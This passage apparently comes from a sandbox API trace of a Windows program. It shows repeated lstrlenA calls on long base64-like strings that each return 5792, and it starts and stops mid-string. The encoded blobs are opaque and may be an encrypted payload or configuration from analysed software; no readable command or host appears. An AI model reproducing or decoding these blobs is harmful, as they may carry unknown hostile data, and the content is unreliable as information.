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") returned 5792 [0163.810] lstrlenA (lpString="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") returned 5792 [0163.810] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1qDNWamwBLkIKqYSGcoUYui3l4KirmUjSAig893axbz1fvN8yHRRzQ0dRynDRTgYek2L0RrovDVvPDa8llXxG/qJckHpgVys/RR2FoXdQA9MMU9Wng97D4kw+AHcmjv/T5iPN/chdULDoIOsDPGQ3TtYiA66TRxYtQkrReWZX1wStPHwdoCoXiQH7hf+vtY9VkJ8Fllv0wem2B/emj6DY84MZ9vDSKp1/b1KNW/BBkQceodXREUq5CA9LMCGgwag14LwGz0aXP36gXvXngMqwvUYJ0aNqqFdDds9eb7aXooJ5mWroQZyFnwesHOYH4bPsXX5Khm6vJrx6vGBI6E/51Fgk36cgRPboCMqlyZjBPNSESEb/vfhLhpFFN1g7CxtYJvjZ40lhxHAv+gJlX/otmiepAXaspolSitqafDjGl/QCfh5lY0khQMq/tC9yEKY8gO2McBEyrOcUTHEDnzu43mNhT7WGLTWAqUtKVj/twLiIFmcqZOqf86dlezZYECBFD5uTJpu/ey94Oi4dUI3YSmRErWm+mbqSqVl/k2AJFYNz+ZdccACWaylJo/sSF8sUr7lmt5AWFj2t/Vnt6VPh65tOb549w50NzixamjLIn6QIjOzNXyPAi7Fji74nCMJZ6NU/Knxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKR8BW0Pmr14+9yo1Ng0kNjRPyL3dKoxYB4zGMqXhj4XDoYQ7Af3yfBO96D+65nUTiPHL1wXYer7mJZ96VuVjY9EYrC37n96eaQqQ4H7Jmd/hgZu+U2NuPym12JzoYTekUp9meAZZYXH0+MgMQ4106UXp490Icvv0mrWVlSIauDScgQuq6VDwoemePMTeULD/EK91GWPzo1NuWTeuddtxsqVSoPrRzoKtIak5m7s3CH0Dmh7VOvL1jVDYR6XOyqPgA/W1I90y1XZVOxveyu8MtOoG9Z2F2zcmJWBGxq1ZVOJ2wH1STU822MJQvW+sA1ZKA5cbIbZ3vnDQKSnFsZC5lhgyuVyeiRUXq4BwK3DLJjMchKGYbE2mxPhwGXLvT/kABtJmx0V0PALpvGUoWm5G+FC2VW5ryNKeM/VtBU9Oj0lk00JwB1uxwD1KS+K8y9xgsdPPItQSi5zU538gPhPkqFTS8FhvJG9S2NUvj+5nBpY9r3+nzNJWsnxHgm4uTrPbT8A0lKNQ4+lc+24cFMNCtrPXTLZb4HVKwyiHM0Qr7TEgOMU/eBofUhUDzbmOMCdOWgP8ysnaQyW4UiEoES2rfK139f5Q31GlQtX4YhI7Kprv6intucnG3lBcpHAQp7wVHsdr8ruyzumwBuN2FhYjTEgBLwd/e5yknjbGU0Gb3X3qxHxmqQj5iueqZPMhnfrmnozES2SdZkrVJNK6I9rpPfFpJ2NTvVtS4pvZ0bA4QuXoXxASuNdp5YWaphbGzi+75nK6Tc+pXtCkQpsPN7TUQWAqcEym+o9oggS2RJSwvXhBZofJLnptQAHB0UEWa42gHGHdICvNQI5uVc1sn+GKdAEz+2IN9YgztqC9ola/bZr4qcqE6/cO/EagQp536HqZCyEArWyIl7b3mHPcqJbYObGDjmaHz80lP7phXNoKASWZt44ygPGPbkZRQ0hemrjIrOgCDxo3IyZ0VKD2NmH2+X/tzNOx+U/dQ7lRXNHZQkSrOCQxSCLaf3xPgr2Exrr8VfbI52LWmS8YV143fclYqG0h3Ugs0SAMRknU6F5/HJMs6GONma7S/hs/QDVbs7wUyeRVSRAsjNw+NdqhpOXm4Xs+MjfQOP6Pl6TK6hSarW9TVL2aF4+5W4Q8HSEU8x25k/le/W0bnMxQk3ZLEUoYIFAZH+yzVGHYkkKVR3xpVeCUBqN98UpOyYtAv+Vo6pto8ElGvJtNT14Hph9ZU37J8av3sl4BWtx7jlXea0hzGS6EfjDCcc/I/GtKzFAy3ePRyznzsyRN86LVmvVSTqNv4RPwo2UQKQZlV0vvomMJi7iG2/XakwXVTC5nhs7qj6LlTC25F2W71jihItCP0ZwW6Gr8GIu54sofIQgujJmmYO/v3Ma5eCzQDKW8zQ3rdcwzb4Fby+JSYy9FlQe04h9bXHwJD4utvpFAhYatygYQZxtCA8AQmL8fXYudRx2K4xIHULMwC1t9KC5e8xozb6MNM0zKVdFBoXuSmcdi7GTJOOqhBsxJXoiDTzo1mnMZOT/J+uR3AVmUDxAid1oQ2ZLJFYxFMAwzgGz2GmjMuorZ23ijPyDOXTx3WosyG7ZEVBnQiErmPD0uZIHISbT7jxu4ZnDlAG4wdDKaPuECQ/QDFPbD2Rp2YnhXQph0KnvDGOgpjyAKkktYUSwZa4nmdUMKwDqj83gRKeGTvxibNcIZiK8GylD1Lpk3B57nrjtnQRq5VglTHATycQFn93TxEpiyWr7V4r6lgPEfDIB13AOVP5LLawF6y5MqPCgNuxB5FXRcEH1GQ6HcmmD9pY6nHoWF5o3fNjb1gZ6yF07+ZZeSERDoQN6Min6OEHsgvnBZn5nm/zlHF25KEBv1jctsEsVrZvHgLiwQju5O+quq8e4J9tRYchTmV5d0HesctWSTeZooxBPrwIr67tGGg2e/PYbJfa/f5Ip4yRZXxcG2vPDwXTiEWbaNDa1d12eB504zlqbIz+xD0a5XTLafVPBDk0mh8Gsc9oz4aJK6YMFPHgjiFBBoLB1LvDvAbvXTb84pqqvLePjjbHaNnMiZEHXcH+SwA2uVSQOxmoGAuuTQPsDaK35UKXOFvXe6NnjV/hdlGb7wkqRX9X4UgXF+q5zxOigIM0FtD35TjdrezVItQCkC8LwpLezuFbjZYJpz5J/dudqUe2tj4O2+k1RCySCG1W6t6voNUCYoPaehPZdTIq+Lhmr3AFSWasfhdHLz7mQWkPgozS+vhJH++p6NdnsTxtCabCb3cI9xmOZ9TaorBCq7ZlZZXU2bnS6+lXjUA0diQt4YReV+tP93M1wXPnhe7mB2Us00leOXa/PHZDdBmFEiOSXLuLMAeMB/bB9SA6BHvIa/mQDwLthGeyrgIojpLOUziKrwMM0Vr4ZyEwHQGveYIDBzrd9/t+7L/84YsvpqvQmp3G2VXYa4U0XUguZ4tbYaTisqZl3SSevx6BW3lVWBNKzvyVRDgtHvWYWEUEoAUwMb9RW9lSEd01LXyopdGPuaI8bfBDwwPk3Ae+LqU9c/oWvFanQlUdBI9eLTTk41hnE9xqq28lmXI0o/nTifKpE1MNsW3uWnVifpCDW2m918k/U3uwImLgOVej1Ftf4j9AL63U3NuGHouWyQ+DCfnWSOe/1/juG9sKaY7Qye/ZlCkNnoFSDrkyctOkb2HQqbYwDGCQy7a3gt4eBHAbL4ALV6zDYo3+EvO9aJbKAQ4664sJsNwkcmz9zOXaA+3pkiCcAhj05jQspQDEjHsckuN4hihLIVBUZDaGLZqeWA0L+Hx+lU7Sfxv6P6f562iRzArC23gqK4t1iH/NHJ4De9xzKDGtF1v+pQ/5gSC0i8ZwClUZ//tNnssnFK8CHZI+4/Tap87Edz35bMlMNFzmacQggLVE47byqrqT+sdfL2l1N768euDpVH2cEbbNHVVhiL8uZAXqxPtbnnRrYArmXFKOm7eEsFTk6nNSnHE1ph0LspESXwD9U+KbmYG7l99qogQ3tFuqkesD8D5TnhzU77C4za2TGouf4DOSbaquYUvb5qtknf2Q9DaElCWkyG6ACgr2RWl3pLEBXoIKUCaRCb/nJxdogXk37wYidcpiIGT15KjT842XIT35+oE1XokvAhk037GWkwGw4d0pq3t3O11fK2xpUc/VgNi60Qn5SYF9ujZPK5JkvOdyvpIdRRAprxkSnA+Odmv57I9Kj39HRPmA9ouzLNDFGfoGZ1hHz9FwyjZtLzff4SOlgmWHz2TPjSbVN00WEyK30qi0ebAG+TSHdSwNFvM8RZefoQ65COojYnE2Nozv62uvV5e3rDOj5/slVp8ReeM9PCM3LNw019Ck03GvYfmXy/uy0WumWZdCtq+P1ukXqe6Q80SYWrwok0tlD1LCa4OiAY5YTRtx2ZYVd9Kuc0ZTxfkPHz7Y4DrXwQs5lEQUFNa41FhJpqoOfqy53pIrQHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.810] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1qDNWamwBLkIKqYSGcoUYui3l4KirmUjSAig893axbz1fvN8yHRRzQ0dRynDRTgYek2L0RrovDVvPDa8llXxG/qJckHpgVys/RR2FoXdQA9MMU9Wng97D4kw+AHcmjv/T5iPN/chdULDoIOsDPGQ3TtYiA66TRxYtQkrReWZX1wStPHwdoCoXiQH7hf+vtY9VkJ8Fllv0wem2B/emj6DY84MZ9vDSKp1/b1KNW/BBkQceodXREUq5CA9LMCGgwag14LwGz0aXP36gXvXngMqwvUYJ0aNqqFdDds9eb7aXooJ5mWroQZyFnwesHOYH4bPsXX5Khm6vJrx6vGBI6E/51Fgk36cgRPboCMqlyZjBPNSESEb/vfhLhpFFN1g7CxtYJvjZ40lhxHAv+gJlX/otmiepAXaspolSitqafDjGl/QCfh5lY0khQMq/tC9yEKY8gO2McBEyrOcUTHEDnzu43mNhT7WGLTWAqUtKVj/twLiIFmcqZOqf86dlezZYECBFD5uTJpu/ey94Oi4dUI3YSmRErWm+mbqSqVl/k2AJFYNz+ZdccACWaylJo/sSF8sUr7lmt5AWFj2t/Vnt6VPh65tOb549w50NzixamjLIn6QIjOzNXyPAi7Fji74nCMJZ6NU/Knxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKR8BW0Pmr14+9yo1Ng0kNjRPyL3dKoxYB4zGMqXhj4XDoYQ7Af3yfBO96D+65nUTiPHL1wXYer7mJZ96VuVjY9EYrC37n96eaQqQ4H7Jmd/hgZu+U2NuPym12JzoYTekUp9meAZZYXH0+MgMQ4106UXp490Icvv0mrWVlSIauDScgQuq6VDwoemePMTeULD/EK91GWPzo1NuWTeu